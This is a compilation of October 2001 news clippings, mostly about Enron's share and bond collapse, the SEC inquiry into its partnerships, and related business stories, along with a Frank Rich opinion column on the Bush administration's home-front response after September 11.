James F. Peltz=20
ITC Says Imports Hurt Steel Industry=20
The International Trade Commission ruled that foreign imports pose a seriou=
s threat to the domestic steel industry, paving the way for punitive sancti=
ons that are likely to raise steel prices and intensify trade tensions with=
 Europe and Asia.=20
The independent U.S. agency has until mid-December to provide the White Hou=
se with a list of proposed remedies, which could include import quotas or h=
efty tariffs on foreign steel.=20
Beleaguered U.S. steelmakers applauded the decision.=20
President Bush, who instigated the ITC investigation, is expected to approv=
e the protective measures, though critics warn they could harm a weakened d=
omestic economy and complicate efforts to launch a new round of global trad=
e talks.=20
Evelyn Iritani=20
Shares of Enron Plummet Amid Losses=20
Enron Corp.'s stock was pummeled by investors following disclosures of loss=
es and shrinking shareholders' equity related to failed investments and a c=
omplicated hierarchy of limited partnerships used to shelter some Enron ass=
ets.=20
The stock slide was compounded by disclosure of a Securities and Exchange C=
ommission inquiry into two of the partnership arrangements and by Wall Stre=
et worries about future cash flow and credit problems that might be caused =
by the investment vehicles.=20
Two conference calls with analysts and investors failed to calm nerves, and=
 several analysts lowered their recommendations on Enron.=20
Enron has reiterated that its finances are strong. And although analysts no=
te that Enron's core businesses remain sound, some analysts doubt that the =
usually taciturn company has revealed all of its problems.=20
To mollify investors, Enron replaced its chief financial officer, who until=
 recently headed the two partnerships the SEC is eyeing.=20
Nancy Rivera Brooks=20
Pentagon OKs Northrop Bid for Newport News=20
Northrop Grumman Corp. was all but assured of winning the bid to acquire Ne=
wport News Shipbuilding Inc. as the Pentagon endorsed the deal and the Just=
ice Department, citing antitrust concerns, blocked a rival bid by General D=
ynamics Corp.=20
It marked a stunning turn of events for Northrop, which got the nod to acqu=
ire the Virginia builder of nuclear submarines and aircraft carriers despit=
e having been the underdog.=20
The Los Angeles-based defense contractor made an unsolicited offer for Newp=
ort News after the shipbuilder had inked a $2.1-billion deal with General D=
ynamics.=20
Separately, Northrop said third-quarter earnings fell 22% because of a larg=
e drop in pension fund investments.=20
Hollywood Production Jobs Fall to 4-Year Low=20
Skittishness following the Sept. 11 terrorist attacks has exacerbated an al=
ready slow season in Hollywood, pushing employment in the movie, television=
 and film industry to a four-year low in September, state statistics show.=
=20
Cutbacks and delayed projects by the major studios has trickled down throug=
h the industry, leading to a spate of layoffs at small companies that provi=
de equipment and services for the industry.=20
Meg James=20
Grammy Officials Urge Greene Settlement=20
High-ranking officials at the Grammy organization recommended a settlement =
of more than half a million dollars to resolve sexual assault and battery a=
llegations against the nonprofit group's chief executive, C. Michael Greene=
, Grammy sources said.=20
The proposed settlement, subject to approval by the group's board of direct=
ors, has ignited an internal revolt, with at least a dozen of the 41 truste=
es privately calling for Greene's firing, the sources said.=20
Greene declined to comment. Attorneys for the Grammy nonprofit group previo=
usly denied that Greene assaulted or had any sexual contact with Jill Geime=
r, the Grammy executive who has threatened to sue over Greene's alleged mis=
conduct.=20
Chuck Philips=20
EMI Ousts Record Label Executive Nancy Berry=20
British music conglomerate EMI Group sacked Nancy Berry, the vice chairwoma=
n of its worldwide Virgin Records division.=20
Berry's exit came a week after the London-based record company ousted its g=
lobal record chief, Ken Berry, who is Nancy Berry's former husband.=20
The shake-up follows a dispiriting period for EMI, including a disastrous s=
ales debut from pop icon Mariah Carey, who suffered a nervous breakdown mon=
ths after signing an $80-million contract with the company this year. Nancy=
 Berry spearheaded the elaborate marketing campaign for Carey's album, "Gli=
tter," which has sold fewer than 400,000 copies since its Sept. 11 debut.=
=20
Jeff Leeds=20
Management Buyout of G&L Realty Approved=20
Stockholders of G&L Realty Corp. approved a management-led buyout of the re=
al estate investment trust despite a higher offer by a rival group and conc=
erns that the deal unfairly favors top executives.=20
The company's co-chairmen, Daniel Gottlieb and Steven Lebowitz, plan to tak=
e the small Beverly Hills-based company private after a majority of shareho=
lders backed their $12-a-share offer.=20
The management-led offer triggered a shareholder lawsuit this year that cla=
imed G&L's board breached its fiduciary duty=20
Jesus Sanchez=20
Internet Archive Turns Back Web Pages of Time=20
The nonprofit Internet Archive launched its so-called Wayback Machine, allo=
wing Web surfers to check out most Internet sites that have vanished and ol=
der versions of sites that are still around.=20
The San Francisco effort is the brainchild of Brewster Kahle, a millionaire=
 technologist who wants to preserve the Internet's ephemera for generations=
 to come.=20
Like many Internet pioneers, however, Kahle faces unfamiliar risks along wi=
th the opportunities: the archive might be the most massive violation of co=
pyright law since ownership rights over words came into being.=20
More than 10 billion pages are available at http://web.archive.org.=20
Joseph Menn=20
Job Cuts, Make-Over in Store for Sears=20
Sears, Roebuck & Co. is getting a new look, borrowing from competitors that=
 have been biting into Sears bottom line.=20
In a bid the company says will increase operating income by $1 billion duri=
ng the next three years, Sears will look more like a mass merchant, with mo=
re self-serve areas and centralized checkouts.=20
As part of its financial realignment, Sears will cut 4,900 jobs in the next=
 18 months.=20
The company's challenge, analysts say, is to offer something unique within =
its niche of serving middle-income consumers--an ever difficult proposition=
 against innovative rivals such as Kohl's and Target.=20
Abigail Goldman

PHOTO: Newport News builds nuclear submarines and aircraft carriers.; ; PHO=
TOGRAPHER: Associated Press; PHOTO: Sears is cutting nearly 5,000 jobs and =
launching a new strategy.; ; PHOTOGRAPHER: Associated Press; PHOTO: The ree=
ling airline industry is expecting its problems to worsen.; ; PHOTOGRAPHER:=
 Agence France-Presse; GRAPHIC: Dimming Power, Los Angeles Times;=20

BUSINESS
Ralph Bivins
RALPH BIVIN
Staff

Houston Chronicle
2 STAR
10
(Copyright 2001)

HOUSTON is known as the "Energy Capital of the World." And a glance around =
the downtown skyline proves the nickname is appropriate. Houston skyscraper=
s bearing the names of Enron, Chevron, Exxon and Shell make significant con=
tributions to the view.=20
Now another name is being added to the downtown mix, enhancing the energy c=
apital image even further. The 36-story Two Allen Center has been renamed D=
evon Energy Tower.
Devon Energy has just signed a lease for 193,000 square feet of space, more=
 than doubling its presence in the building, and as part of the deal, Devon=
 gets to put its name on the structure.=20
The lease also gives Oklahoma City-based Devon the right to take more space=
 in the 1 million-square-foot building, at 1212 Smith St.=20
Devon recently announced its plans to acquire Mitchell Energy & Development=
, but it will maintain Mitchell's offices in The Woodlands, said Klay Kimke=
r, manager of office administration for Devon.=20
Kevin Snodgrass and Tim Relyea of Cushman & Wakefield represented Devon in =
the transaction. Paul Frazier and Margaret Sigur negotiated the deal on beh=
alf of TrizecHahn Office Properties, the owner of the building.=20
TrizecHahn owns both the Allen Center and Cullen Center office complexes, a=
 total of 6 million square feet of space in downtown. The TrizecHahn office=
 space is nearly full right now, but Enron will be vacating large amounts o=
f space there next year when the nearby Enron building is complete.=20
Teamsters to build facilities=20
Teamsters Union officials are planning to build new headquarters facilities=
 after the union sells its building on the Katy Freeway.=20
To replace the Katy Freeway building, the union expects to build two smalle=
r structures near Bush Intercontinental Airport to house different chapters=
, said A.W. Parker, secretary treasurer of Local 968.=20
Parker's group is expecting to build a 13,000-square-foot building at Ella =
Boulevard at Beltway 8.=20
Another Teamsters group has purchased 4.5 acres on Beltway 8 at Diplomatic =
Plaza Drive, in the World Houston Business Center. The land was purchased f=
rom the Licha Family Trust. Tony Patronella and Marc Drumwright, both of So=
uthwest Realty Advisors, handled the sale.=20
Chicago firm buying property=20
A Chicago real estate investment firm is on a quest to acquire suburban off=
ice buildings in Houston.=20
ML Capital Ventures has purchased two small office structures: the 71,736-s=
quare-foot building at 5500 Northwest Central Drive and the 66,338-square-f=
oot building at 5301 Hollister. The building on Northwest Central Drive is =
the headquarters of BJ Services energy company.=20
Mike Luecht, president of ML Capital, said his firm will acquire two additi=
onal Houston office buildings before the end of the year.=20
ML Capital, which has been in business for eight months, will exceed Luecht=
's initial plan to buy more than $22 million worth of suburban office space=
 in Houston in the company's start-up phase.=20
Luecht said his firm was bullish on two types of real estate: buying wareho=
uses in Chicago and buying office buildings in suburban Houston. Houston's =
economy has been adding jobs and it is a promising market that is overlooke=
d by many investors, Luecht said. Many investors have been too slow to forg=
et the devastating meltdown of Houston realty market in the 1980s, Luecht s=
aid.=20
In its most recent deal, ML Ventures bought the 5500 Northwest Central buil=
ding in partnership with Avgeris & Associates of Chicago. Tom Bousquet of C=
B Richard Ellis brokered the deal.=20
Woodlands opens new section=20
Several $1 million home sites go up for sale this weekend as The Woodlands =
opens a new section of its Carlton Woods gated community.=20
The premium lots will be facing the new Jack Nicklaus Signature golf course=
.=20
Custom lots will range in price from $150,000 to $1 million and range in si=
ze from one-fifth of an acre to two-and-three-fourths acres.=20
The Carlton Woods community is the first gated community in The Woodlands a=
nd has been well received by upper-end home buyers, said Paul Lazzaro, vice=
 president of marketing for The Woodlands.=20
Thirty-two homes are under construction in Carlton Woods and all of them ar=
e priced at more than $1 million.=20
A total of 208 lots have been sold in Carlton Woods, which opened about a y=
ear ago.

Dow Jones International News

NEW DELHI -(Dow Jones)- Enron Corp. (ENE) has decided to exit its Indian sh=
ipping joint venture, Greenfield Holding Co., the Financial Express reports=
, quoting the Press Trust of India news agency.=20
Enron's affiliate, Atlantic Commercial Inc., holds a 20% stake in Greenfiel=
d. Mitsui OSK Lines Ltd. (J.OSM) holds 60%, while India's state-owned Shipp=
ing Corp. of India (P.SPG) holds the remaining 20%, the report said.
"Atlantic Commercial has expressed a desire to its partners to exit...," th=
e PTI quoted a shipping industry source as saying.=20
Greenfield's liquefied natural gas carrier "Laxmi" would have brought gas f=
or Enron's Indian unit, Dabhol Power Co., the Financial Express reports.=20
Enron has a controlling 65% stake in the 2,184 megawatt Dabhol power projec=
t, located in the western Indian state of Maharashtra.=20
Newspaper Web site: http//www.financialexpress.com=20

-By Himendra Kumar; Dow Jones Newswires; 91-11-461-9426; himendra.kumar@dow=
jones.com

Business/Financial Desk; Section C

10/27/2001
Page 2, Column 5

The Enron Corporation, trying to reassure investors that it has ample liqui=
dity, began to repurchase all its outstanding commercial paper yesterday, u=
sing $3.3 billion it borrowed from banks by depleting its lines of credit.=
=20
An Enron spokesman said that when the commercial paper repurchases are comp=
leted the company will retain more than $1 billion in cash.
The moves did not appear to reassure investors, as Enron's share price fell=
 to another six-year low. Shares traded as low as $15.04 yesterday, before =
ending the day at $15.40, down 95 cents.=20
The move will raise the interest expense for the company, because banks nor=
mally charge more than companies have to pay in the commercial paper market=
, and because its outstanding debt will rise by the additional $1 billion.=
=20
Enron's debt is rated investment grade. But its bonds now trade below inves=
tment grade levels, although not so low that it appears investors fear an e=
arly default. But with the bonds trading so low, it is unlikely Enron will =
be able to sell more commercial paper.=20
Enron's stock has been plunging since Oct. 17, shortly after it disclosed t=
hat its third-quarter balance sheet, which has yet to be released, will sho=
w a $1.2 billion reduction in shareholder equity as a result of complicated=
 transactions involving partnerships formerly controlled by Andrew Fastow, =
who was the company's chief financial officer until he was replaced on Wedn=
esday.=20
The stock has lost more than half its value since the earnings announcement=
, and the company has disclosed that the Securities and Exchange Commission=
 has asked questions about its accounting practices.

els.
By ROBERT CLOW, SHEILA MCNULTY and JENNY WIGGINS.

Enron, the Houston-based energy trading group, continued to pay a heavy pri=
ce for its lack of financial transparency yesterday as its bond prices plum=
meted.=20
Investor confidence in Enron has declined sharply since the company announc=
ed a $1.2bn reduction of shareholder equity stemming from a complex off-bal=
ance sheet structure. The Securities and Exchange Commission has also launc=
hed an informal investigation into the company's finances.
Enron's five-year bonds were trading yesterday at 77 cents in the dollar wi=
th a yield of 11.13 per cent, down from 83 cents on Thursday. Bond prices a=
t these levels normally suggest that investors expect a company to file for=
 bankruptcy.=20
Late on Thursday, Enron announced that it would draw on its bank lines to b=
uy back its outstanding commercial paper after two ratings agencies put the=
 company on negative watch.=20
Commercial paper financing, which normally has to be rolled every 90 days, =
is one of the first forms of financing to disappear in a crisis.=20
"What they want to do is assure their clients and other trading partners th=
at they are creditworthy and continue with business," said Robin West, chai=
rman of the Petroleum Finance Company, the industry consultants. "In a situ=
ation like this, cash is king."=20
Enron's biggest immediate business risk is that its major trading counterpa=
rties, such as Duke Energy and Reliant Resources, start asking it for more =
collateral, increasing the cost of its everyday business.=20
If Enron were downgraded to junk, the counterparties could do just that.=20
So far, credit rating analysts say, Enron's core business is holding up wel=
l. But their actions over the past few days acknowledge that the company co=
uld still be severely damaged by the scandal.=20
Enron has long faced criticism of its opaque financial reporting, but its m=
ost recent problems stem from the LJM private equity fund run by Andy Fasto=
w, the company's former chief financial officer.=20
Enron compensated its partners in this complex off-balance sheet structure =
by promising to give them Enron shares, if the value of private equity inve=
stments in The New Power Company, technology and other things fell below a =
certain level.=20
Those investments fell $1.2bn in value from the threshold level, which shou=
ld have triggered the issue of 62m shares if the deal had not been reversed=
.=20
The complex deal was designed to make sure Enron did not experience the sam=
e balance sheet volatility that JP Morgan Chase and others have suffered fr=
om marking their private equity investments to market.=20

Enron, the Houston-based energy trading giant, continued to pay the price f=
or financial opacity as its stock slumped to its lowest level since 1995 an=
d its five-year bonds traded at 77 cents in the dollar with a yield of 11.1=
3 per cent, down from 83 cents on Thursday. Bond prices at these levels nor=
mally suggest that investors expect a company to file for bankruptcy. Page =
10.=20
(c) Copyright Financial Times Ltd. All rights reserved.

Associated Press Newswires
Copyright 2001. The Associated Press. All Rights Reserved.

HOUSTON (AP) - After Enron Corp. tapped into more than $3 billion in credit=
 in an effort to boost confidence of investors and customers, stock prices =
dropped.=20
Enron Corp.'s stock price hit its lowest point in more than five years Frid=
ay. Shares fell 95 cents on Friday to $15.40, a level not seen since 1995, =
as analysts continued to muddle through a complicated series of bookkeeping=
 issues revealed after the company's earnings announcement earlier this mon=
th.
The stock is down more than 50 percent in two weeks, and the company lost a=
lmost $14 billion in market value.=20
Late this week the company decided to convert $3 billion in revolving credi=
t it has through various banks into cash. The company put about $1.1 billio=
n in the bank in an effort to reassure business partners and investors of i=
ts liquidity and is using the $2.2 billion balance to begin an orderly repu=
rchase of a certain kind of short-term corporate IOU known as commercial pa=
per.=20
"Nothing spells confidence quite like cash, which is what we want investors=
 to understand," said Enron spokesman Mark Palmer of the $1.1 billion banke=
d this week.=20
Palmer could neither confirm nor deny that the company is negotiating furth=
er lines of credit with banks but described such actions as "good managemen=
t decisions."=20
On Oct. 16 Enron's third-quarter earnings release drew renewed attention to=
 an issue investors and analysts had previously been unhappy about: Then-Ch=
ief Financial Officer Andrew Fastow, with the Enron board's approval, had f=
ormed and run two investment partnerships that could have created a conflic=
t of interest.=20
The partnerships, LJM Cayman and LJM2 Co-Investment, did complex financing =
and hedging deals with Enron.=20
Fastow had resigned from his roles in the partnerships months ago when Wall=
 Street began to question whether he could watch out for the interests of E=
nron's shareholders and the investment partnership simultaneously. But last=
 week when the company reported a $35 million loss related to ending its LJ=
M ties as well as a $1.2 billion reduction in shareholder equity, new quest=
ions began to arise.=20
The Securities and Exchange Commission's Division of Enforcement launched a=
n informal inquiry into the partnerships, and earlier this week Fastow was =
put on a leave of absence.=20
Reducing the company's debt exposure through commercial paper and putting i=
t back into more traditional financial tools, like a revolving line of cred=
it, could give great peace of mind to Enron's investors, said Anatol Feygin=
, an analyst with J.P. Morgan.=20
"It helps them shore up their support behind their energy trading business,=
 which is really the core of their operations," Feygin told the Houston Chr=
onicle for Saturday's editions.=20
Carol Coale, an analyst with Prudential Securities, still sees the move as =
somewhat confusing.=20
"Just last week they were touting their unused lines of credit as a plus, b=
ut the fact that they tapped those now sends a strange, mixed message," she=
 said. "Do they need the cash to keep the rating agencies off their back? I=
s it a gesture for customers? It first struck me as another one of these st=
rangely timed actions on the part of management."

Bloomberg News

C-2

HOUSTON -- Enron Corp. bonds and shares fell after the largest energy trade=
r tapped a $3-billion credit line because it has been shut out of the leadi=
ng market for low-interest, short-term loans.=20
The company's stock has fallen 54% in the last 14 days after investors ques=
tioned its transactions with affiliates run by Enron's former chief financi=
al officer. The shares fell 95 cents, or 5.8%, to $15.40 on the New York St=
ock Exchange.
Investors said Chief Executive Kenneth Lay has failed to reassure them that=
 the company's credit rating won't be cut. Enron can no longer borrow in co=
mmercial paper markets, where short-term loans carry lower rates than banks=
 offer.=20
"Do they have the financial flexibility they once had? No," said John Cassa=
dy, who helps manage $3 billion in bonds at Fifth Third Bancorp. "People ar=
e questioning the credibility of management."=20
The company will use its credit line to pay off $2.2 billion in commercial =
paper it has outstanding, Enron spokesman Mark Palmer said.=20
The price of Enron's 6.75% bonds, which mature in 2009, declined 11/2 point=
s to a bid of 84 cents on the dollar and an offer of 86 cents. At that pric=
e, the bonds, which carry a rating of BBB+, yield 9.53%.=20
Investors have grown concerned that the firm's credit rating will be cut af=
ter $1.01 billion in third-quarter losses from failed investments. Enron ne=
eds good credit to raise cash daily to keep trading partners from demanding=
 collateral and to settle transactions.=20
Enron's decision to tap its credit line was "a smart financial move," said =
Stephen Moore of Moody's Investors Service. "It took away the hassle and ti=
me-consuming nature of rolling commercial paper and insured access to capit=
al."

BUSINESS
nce
TOM FOWLER
Staff

3 STAR
1

ay after it tapped into more than $3 billion in revolving credit in an effo=
rt to re-assure investors and customers.=20
Shares fell 95 cents on Friday to $15.40, a level not seen since 1995, as a=
nalysts continued to muddle through a complicated series of bookkeeping iss=
ues revealed after the company's earnings announcement earlier this month. =
lmost $14 billion in market value.
rchase of a certain kind of short- term corporate IOU known as commercial p=
aper.=20
Enron's most recent woes began Oct. 16 when its third-quarter earnings rele=
ase drew renewed attention to an issue investors and analysts had previousl=
y been unhappy about: Then-Chief Financial Officer Andrew Fastow, with the =
Enron board's approval, had formed and run two investment partnerships that=
 could have created a conflict of interest.=20
and hedging deals with Enron and were formed originally as a way to offset =
risks associated with some of the company's newer businesses such as broadb=
and trading.=20
Now Enron will begin repurchasing its commercial paper. This is a way for c=
ompanies to raise money over a short period at rates that are usually sligh=
tly better than what banks offer, and often with more flexible terms.=20
"To some extent, redeeming the commercial paper is at the expense of the ca=
pital markets, which look at it negatively," said Anatol Feygin, an analyst=
 with J.P. Morgan.=20
But reducing the company's debt exposure through commercial paper and putti=
ng it back into more traditional financial tools, like a revolving line of =
credit, could give great peace of mind to Enron's investors, he said.=20
 which is really the core of their operations," Feygin said.=20
rangely timed actions on the part of management."=20
Jeff Dietert, an analyst at Simmons & Co., said Enron management needs to c=
ontinue to make clear the issues that have investors confused and concerned=
.=20
In a worst-case scenario, investor fears could create a vicious cycle that =
continues to drive the stock down, which would force bond rating agencies t=
o consider downgrades of Enron. That could lead to lower credit ratings, wh=
ich would force Enron's energy trading partners to limit their exposure to =
the company and cut back on business with it.=20
"Thus, we see a big incentive for Enron to clarify the issues," Dietert wro=
te in a report Friday. "Our gut feel is that Enron can pull it off."=20
Feygin said he also believes the company will continue to do better in reve=
aling its financial dealings but thinks there may be more surprises in stor=
e.=20
For example, a Wall Street Journal article Friday discussed for the first t=
ime another business entity with ties to Enron known as Chewco. It was form=
ed in 1997 with about $400 million in financial backing to buy interests in=
 unnamed Enron assets.=20
Chewco was run by Michael Kopper, a managing director of Enron's Global Equ=
ity Markets Group.

BUSINESS
Staff

3 STAR
2

Enron Corp. filed suit against Microsoft Corp. in state district court in H=
ouston this week, claiming the software giant breached a contract over a ne=
w high-speed Internet service.=20
The companies entered into an agreement last June in which Enron would prov=
ide Internet bandwidth to Microsoft as it rolled out its MSN Broadband serv=
ice. Enron's broadband network would link MSN customers in over two dozen s=
tates, including Texas.
Qwest Communications is providing the Internet infrastructure in 14 other s=
tates for MSN.=20
On Oct. 23, Microsoft said that Enron would have breached the contract if i=
t didn't provide an operational bandwidth system by Oct. 25, according to B=
loomberg News. In the lawsuit, Enron claims Microsoft failed to deliver the=
 ordering and billing system it needed to deliver its end of the project's =
first phase.=20
The lawsuit appears to be blocking the launch of the MSN service in all but=
 the 14 states served by Qwest.=20
Enron officials declined to comment. A Microsoft spokesman said the company=
 had not reviewed the filing but was "confident that we have upheld our agr=
eement with Enron."

Editorial Desk; Section A
Journal
By Frank Rich

Page 19, Column 2

Welcome back to Sept. 10.=20
The ''America Strikes Back'' optimism that surged after Sept. 11 has now be=
en stricken by the multitude of ways we're losing the war at home. The F.B.=
I. has proved more effective in waging turf battles against Rudy Giuliani t=
han waging war on terrorism. Of the more than 900 suspects arrested, exactl=
y zero have been criminally charged in the World Trade Center attack (thoug=
h one has died of natural causes, we're told, in a New Jersey jail cell). T=
he Bush team didn't fully recognize that a second attack on America had beg=
un until more than a week after the first casualty. The most highly trumpet=
ed breakthrough in the hunt for anthrax terrorists -- Tom Ridge's announcem=
ent that ''the site where the letters were mailed'' had been found in New J=
ersey -- proved a dead end. And now the president is posing with elementary=
-school children again.
Given that this is the administration that was touted as being run with C.E=
.O. clockwork, perhaps it should be added to the growing list of Things Tha=
t Have Changed Forever since Sept. 11. But let's not be so hasty. Not every=
thing changes that fast -- least of all Washington. The White House's home-=
front failures are not sudden, unpredictable products of wartime confusion =
but direct products of an ethos that has been in place since Jan. 20.=20
This is an administration that will let its special interests -- particular=
ly its high-rolling campaign contributors and its noisiest theocrats of the=
 right -- have veto power over public safety, public health and economic pr=
udence in war, it turns out, no less than in peacetime. When anthrax struck=
, the administration's first impulse was not to secure as much Cipro as spe=
edily as possible to protect Americans, but to protect the right of pharmac=
eutical companies to profiteer. The White House's faith in tax cuts as a pa=
nacea for all national ills has led to such absurdities as this week's Hous=
e ''stimulus'' package showering $254 million on Enron, the reeling Houston=
 energy company (now under S.E.C. investigation) that has served as a Bush =
campaign cash machine.=20
Airport security, which has been enhanced by at best cosmetic tweaks since =
Sept. 11, is also held hostage by campaign cash: As Salon has reported, Ser=
viceMaster, a supplier of the low-wage employees who ineptly man the gates,=
 is another G.O.P. donor. Not that Republicans stand alone in putting fat c=
ats first. In a display of bipartisanship, Democrats -- lobbied by Linda Ha=
ll Daschle, the Senate majority leader's wife -- joined the administration =
in handing the airlines a $15 billion bailout that enforces no reduction in=
 the salaries of the industry's C.E.O.'s even as they lay off tens of thous=
ands of their employees.=20
To see how the religious right has exerted its own distortions on homeland =
security, you also have to consider an administration pattern that goes bac=
k to its creation -- and one that explains the recent trials of poor Tom Ri=
dge.=20
Mr. Ridge is by all accounts a capable leader -- a successful governor of a=
 large state (Pennsylvania) who won the Bronze Star for heroism in Vietnam.=
 A close friend of George W. Bush, he should have been in the administratio=
n from the get-go, and was widely rumored to be a candidate for various job=
s, including the vice presidency. But after being pilloried by the right be=
cause he supports abortion rights, he got zilch. Instead of Mr. Ridge, the =
administration signed on the pro-life John Ashcroft and Tommy Thompson -- w=
ho have brought us where we are today.=20
The farcical failures of these two cabinet secretaries are not merely those=
 of public relations -- though Mr. Thompson often comes across as a Chamber=
 of Commerce glad-hander who doesn't know his pants are on fire, and Mr. As=
hcroft often shakes as if he's not just seen great Caesar's ghost but perha=
ps John Mitchell's as well. Both have a history of letting politics overrid=
e public policy that dates to the start of the administration. They've seen=
 no reason to reverse their partisan priorities even at a time when the pat=
riotic duty of effectively fighting terror should be their No. 1 concern.=
=20
Pre-Sept. 11, Mr. Thompson, in defiance of science, heartily lent his credi=
bility to the Bush administration's stem cell ''compromise'' by going along=
 with its overstatement of the viability and diversity of the stem cell lin=
es it would deliver to researchers. Post-Sept. 11, he destroyed his credibi=
lity by understating the severity of the anthrax threat, also in defiance o=
f science. Now he maintains that the $1.5 billion the administration is req=
uesting to plug the many holes in our public health system -- almost all of=
 it earmarked for stockpiling pharmaceuticals, not shoring up local hospita=
ls -- is adequate for fighting bioterrorism. This, too, is in defiance of a=
ll expert estimates, including that of the one physician in the Senate, the=
 Republican Bill Frist.=20
It should also be on Mr. Thompson's conscience that for the first two weeks=
 of the anthrax crisis he kept the federal government's house physician -- =
David Satcher, the surgeon general and a much-needed honest broker of publi=
c health -- locked away, presumably because Dr. Satcher, a Clinton appointe=
e, became persona non grata in the Bush administration for issuing a June r=
eport on teenage sexuality that angered the religious right. Only after Mr.=
 Ridge arrived on the scene was the surgeon general liberated from the gula=
g.=20
As for Mr. Ashcroft, he has gone so far as to turn away firsthand informati=
on about domestic terrorism for political reasons. Planned Parenthood, whic=
h has been on the front lines of anthrax scares for years and has by grim n=
ecessity marshaled the medical and security expertise to combat them, has s=
ought a meeting with the attorney general since he took office but has neve=
r been granted one. This was true not only before Sept. 11 but, says Ann Gl=
azier, Planned Parenthood's director of security, remains true -- even thou=
gh her organization, long targeted by such home-grown Talibans as the Army =
of God, has a decade's worth of leads on ''the convergence of international=
 and domestic terrorism.''=20
Ms. Glazier found the sight of Mr. Ashcroft and other federal Keystone Kops=
 offering a $1 million reward for anthrax terrorists a laughable indication=
 of how little grasp they have of the enemy. ''Religious extremists don't r=
espond to money,'' she points out. Such is the state of the F.B.I., she add=
s, that one agent told a clinic to hold onto a suspect letter for a couple =
of days ''because we have so many here we're afraid we're going to lose it'=
' (perhaps among the Timothy McVeigh documents).=20
If either the attorney general or the secretary of health and human service=
s inspired anything like the confidence that, say, Mayor Giuliani does, the=
re wouldn't have been a need to draft Mr. Ridge. Even so, he's mainly a P.R=
. gimmick -- a man who should have been in the administration in the first =
place reduced to serving as a fig leaf for lightweights. As director of hom=
eland security, he's allegedly charged with supervising nearly 50 governmen=
t agencies -- so far with roughly a dozen staff members. When asked to defi=
ne Mr. Ridge's responsibilities, Ari Fleischer said on Wednesday that it wa=
s ''a very busy coordination job,'' but so far Mr. Ridge is mainly sowing s=
till more confusion.=20
The one specific duty that he has claimed -- in an interview with Tom Broka=
w -- was that he'd be the one ''making the phone call'' to the president to=
 shoot down any commercial airliner turned into a flying bomb by hijackers.=
 That presumably comes as news to Donald Rumsfeld, who made no provision fo=
r any homeland security czar in the Air Force chain of command he publicly =
codified days after Mr. Ridge's appointment.=20
Since the administration tightly metes out the news from Afghanistan, we ca=
n only hope that the war there is being executed more effectively than the =
war here -- even as Mr. Rumsfeld and his generals now tell us that the Tali=
ban, once expected to implode in days, are proving Viet-Cong-like in their =
intractability. The Wall Street Journal also reported this week that ''inst=
ead of a thankful Afghan population, popular support for the Taliban appear=
s to be solidifying and anger with the U.S. growing.''=20
Maybe we're losing that battle for Afghan hearts and minds in part because =
the Bush State Department appointee in charge of the propaganda effort is a=
 C.E.O. (from Madison Avenue) chosen not for her expertise in policy or pol=
itics but for her salesmanship on behalf of domestic products like Head & S=
houlders shampoo. If we can't effectively fight anthrax, I guess it's reass=
uring to know we can always win the war on dandruff.

Drawing=20

By Simon English.

The Daily Telegraph
P31
(c) Telegraph Group Limited, London, 2001

LEADING executives at Enron, the troubled US energy giant, cashed in shares=
 worth more than $100m ( #70m) this year in the run-up to a financial crunc=
h that has left the company's credibility in ruins.=20
Research by Thomson Financial shows that Kenneth Lay, chief executive, sold=
 about 400,000 shares this year, netting him more than $25m. He still held =
2.8m shares until July.
Other executives made similar sales, a revelation likely to anger investors=
 who have seen the shares fall from $83 at the start of the year to $45 by =
July. They halved again this week and fell to below $16 yesterday. Enron de=
clined to comment on the share sales.=20
Mr Lay said in a statement that he is seeking to "dispel uncertainty in the=
 financial community" by drawing on lines of credit to restore faith in Enr=
on's financial strength. Enron will pay off debts of $2.2 billion and keep =
another $800,000 in cash. He said: "We know we have our work cut out for us=
 if we are to rebuild our credibility with the investment community."=20
The company is facing an inquiry by the Securities & Exchange Commission in=
to partnerships managed by Andrew Fastow, former chief financial officer.=
=20
Mr Fastow was ousted on Wednesday night as part of the company's moves to r=
estore confidence, though Enron insists he has done nothing wrong.=20
Enron lost $1 billion in the third quarter on what it has called "failed in=
vestments".

BOMBAY, Oct 27 (Reuters) - Lenders to power plant in India majority owned b=
y Enron Corp have called a meeting next week in London to discuss ways of r=
eviving the beleaguered project, a banking source said on Saturday.=20
They will examine offers that two Indian companies have put forward for buy=
ing the U.S. energy giant's 65 percent stake, and those of two other U.S. f=
irms, in Dabhol Power Company (DPC), which is building the controversial pr=
oject, the source told Reuters.
The meeting of lenders, who include multinational banks such as Citibank an=
d Bank of America , will be held on November 3, the source added.=20
At stake is not just the fate of the $2.9 billion, 2,184 MW project, which =
is India's largest foreign direct investment, but also the over $600 millio=
n investment of Enron, General Electric Co and Bechtel.=20
All three companies are founders of DPC, which in 1995 got permission from =
India's Maharashtra state government to set up the plant on its coast.=20
The plant's first phase of 740 MW was completed in 1999, but work on the se=
cond phase of 1,444 MW, which is 97 percent complete, was abruptly stopped =
in June this year following a blazing row with cash-strapped state utility =
MSEB.=20
MSEB, which agreed in 1995 to take the plant's entire output, said it can n=
o longer do so because Dabhol's power is too costly.=20
Dabhol, in turn, accused MSEB of defaulting on its monthly payments and ser=
ved a preliminary notice to terminate the power purchase contract.=20
Under this notice, both companies are given six months time to settle the m=
atter through negotiations. If talks fail, Dabhol has the right to issue a =
final termination notice and take the matter to arbitration in London. That=
 six month period expires on November 19.=20
Houston-based Enron, which owns 65 percent of Dabhol, further announced tha=
t it intends to exit the project and offered to sell its equity to the Indi=
an government.=20
TIME RUNNING OUT=20
The Business Standard newspaper reported that next week's meeting would als=
o discuss a request by Dabhol to finally terminate the contract after Novem=
ber 19.=20
"It is one of the items on the agenda," the paper quoted a senior banker as=
 saying.=20
The paper said once Dabhol serves the final notice, the matter proceeds to =
arbitration, which would not help India.=20
"The widespread view among the government and lenders is that in such a sit=
uation DPC will win hands down," the paper added.=20
A Dabhol spokesman could not be contacted immediately.=20
The source said the meeting would review the progress made in resolving the=
 dispute so far.=20
The Indian government has not responded to Enron's offer to buy its equity,=
 but two Indian companies, BSES Ltd and Tata Power Ltd , have shown interes=
t.=20
They have agreed to take over the project if the cost is reduced, and if th=
e founders agree to sell their stake at a discount.=20
Local business daily, the Economic Times reported on Friday that Tata Power=
 and BSES are willing to pay the founders $450-$600 million for the 85 perc=
ent stake held by Enron, GE and Bechtel.=20
Enron has rejected the offer and is not ready to settle for anything less t=
han $1 billion, the paper added.=20
Officials of Tata Power and BSES were not immediately available for comment=
.=20
($1=3D48.00 Indian rupees).

Business
ervice
The Associated Press,Bloomberg News

The Seattle Times
Fourth
E4

HOUSTON -- Enron has sued Microsoft, alleging it breached a contract for br=
